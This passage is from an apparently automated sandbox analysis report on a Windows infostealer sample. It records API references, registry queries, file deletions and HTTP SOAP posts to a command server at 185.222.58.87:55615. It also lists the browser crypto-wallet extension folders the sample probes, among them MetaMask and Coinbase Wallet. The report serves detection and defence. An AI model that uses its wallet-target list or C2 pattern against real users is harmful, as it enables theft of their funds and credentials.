00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp")56:T414,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp")57:T107b,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp, 00000000-00007212.00000000.140864.71441000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp, 00000000-00007212.00000000.140864.71441000.00000020.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp, 00000000-00007212.00000000.140864.71441000.00000020.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp, 00000000-00007212.00000000.140864.71441000.00000020.mdmp")58:T8e0,Found string "Enter password" (Indicator: "password"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found string "&Enter password for the encrypted file:" (Indicator: "password"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found string "Cannot create folder %sHChecksum error in the encrypted file %s. Corrupt file or wrong password." (Indicator: "password"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found string "Unknown encryption method in %s$The specified password is incorrect." (Indicator: "password"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found string "Incorrect password for %s" (Indicator: "password"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found string "Enter password" (Indicator: "password"; Source: "00000000-00005280.00000000.140497.00EAB000.00000002.mdmp") Found string "&Enter password for the encrypted file:" (Indicator: "password"; Source: "00000000-00005280.00000000.140497.00EAB000.00000002.mdmp") Found string "Cannot create folder %sHChecksum error in the encrypted file %s. Corrupt file or wrong password." (Indicator: "password"; Source: "00000000-00005280.00000000.140497.00EAB000.00000002.mdmp") Found string "Unknown encryption method in %s$The specified password is incorrect." (Indicator: "password"; Source: "00000000-00005280.00000000.140497.00EAB000.00000002.mdmp") Found string "Incorrect password for %s" (Indicator: "password"; Source: "00000000-00005280.00000000.140497.00EAB000.00000002.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp")59:T560,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "CopySid" (Indicator: "CopySid"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp")5a:T8ef,"22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\RARSFX0\PO.EXE"; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FONTCACHE\PARAMETERS"; Key: "CLIENTCACHESIZE"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\RARSFX0\PO.EXE"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "")5b:Ta8a,"22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1201817941 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1201827365 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1202065658 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1202074425 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1202464814 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1202475846 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1202798296 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1202807742 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1218608132 [PID: 5280] "22c44c550563220ca7ebfcfc28351b9f.exe" queried SystemProcessInformation at 00000000-00005280-00000C13-1218616848 [PID: 5280] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1207447763 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1207456967 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1207672151 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1207681605 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1209440612 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1209449442 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1209736979 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1209745807 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1211867469 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1211875024 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1214470664 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1214481509 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1214729062 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1215113456 [PID: 7212] "Po.exe" queried SystemProcessInformation at 00000000-00007212-00000C13-1215338884 [PID: 7212]5c:T4a5,"POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.222.58.87:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive" with payload::==> "" HTTP/1.1 100 Continue with response body ==>....... "POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.222.58.87:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate" with payload::==> "" HTTP/1.1 100 Continue with response body ==>....... "POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.222.58.87:55615 Content-Length: 296477 Expect: 100-continue Accept-Encoding: gzip, deflate" with payload::==> "" HTTP/1.1 100 Continue with response body ==>....... "POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.222.58.87:55615 Content-Length: 296469 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive" with payload::==> "" HTTP/1.1 100 Continue with response body ==>.......5d:T70a,"22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Windows\win.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\Users\desktop.ini" "22c44c550563220ca7ebfcfc28351b9f.exe" reads file "C:\$Recycle.Bin\S-1-5-21-735145574-3570218355-1207367261-1001\desktop.ini" "Po.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "Po.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "Po.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "Po.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "Po.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "Po.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "Po.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini"5e:T1574,Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\*" which is related to Yoroi [Source: 00000000-00007860-00000C28-23311871830] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\*" which is related to TronLink [Source: 00000000-00007860-00000C28-23313562994] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\*" which is related to Nifty Wallet [Source: 00000000-00007860-00000C28-23315243754] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\*" which is related to MetaMask [Source: 00000000-00007860-00000C28-23316796330] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\*" which is related to Math Wallet [Source: 00000000-00007860-00000C28-23318400396] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\*" which is related to Coinbase Wallet [Source: 00000000-00007860-00000C28-23320158392] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\*" which is related to Binance Chain Wallet [Source: 00000000-00007860-00000C28-23334829314] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\*" which is related to Guarda [Source: 00000000-00007860-00000C28-23338182982] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\*" which is related to EQUA Wallet [Source: 00000000-00007860-00000C28-23339769240] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\*" which is related to Jaxx Liberty [Source: 00000000-00007860-00000C28-23341430196] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\*" which is related to BitApp Wallet [Source: 00000000-00007860-00000C28-23343068002] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\*" which is related to iWallet [Source: 00000000-00007860-00000C28-23344624964] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\*" which is related to Wombat [Source: 00000000-00007860-00000C28-23346194706] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\*" which is related to MEW CX [Source: 00000000-00007860-00000C28-23349542712] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\*" which is related to GuildWallet [Source: 00000000-00007860-00000C28-23351082606] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\*" which is related to Saturn Wallet [Source: 00000000-00007860-00000C28-23352659760] Observed browser extension: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\*" which is related to Ronin Wallet [Source: 00000000-00007860-00000C28-23354294138] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\*" which is related to Yoroi [Source: 00000000-00007860-00000C28-23356011028] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\*" which is related to TronLink [Source: 00000000-00007860-00000C28-23357587910] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\*" which is related to Nifty Wallet [Source: 00000000-00007860-00000C28-23359370700] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\*" which is related to MetaMask [Source: 00000000-00007860-00000C28-23361348312] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\*" which is related to Math Wallet [Source: 00000000-00007860-00000C28-23362991208] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\*" which is related to Coinbase Wallet [Source: 00000000-00007860-00000C28-23364730958] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\*" which is related to Binance Chain Wallet [Source: 00000000-00007860-00000C28-23366306390] Observed browser extension: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\*" which is related to Guarda [Source: 00000000-00007860-00000C28-23369445768]5f:T86b,"22c44c550563220ca7ebfcfc28351b9f.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_908526234" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fwshlgf5.dnp.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_no5bumeb.2p2.psm1" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCF95.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCF94.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFB6.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFA5.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFC8.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFC7.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFD9.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFD8.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFEB.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFEA.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFFC.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFFB.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD02D.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD00D.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD03F.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD03E.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD051.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD050.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD10E.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD10D.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD12F.tmp" for deletion "Po.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD12E.tmp" for deletion60:T723,"22c44c550563220ca7ebfcfc28351b9f.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_908526234" with delete access "22c44c550563220ca7ebfcfc28351b9f.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\RarSFX0" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCF95.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCF94.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFB6.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFA5.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFC8.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFC7.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFD9.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFD8.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFEB.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFEA.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFFC.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpCFFB.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD02D.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD00D.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD03F.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD03E.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD051.tmp" with delete access "Po.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tmpD050.tmp" with delete access61:T210b,Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB related to Yoroi Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\JBDAOCNEIIINMJBJLGALHCELGBEJMNID related to Nifty Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD related to 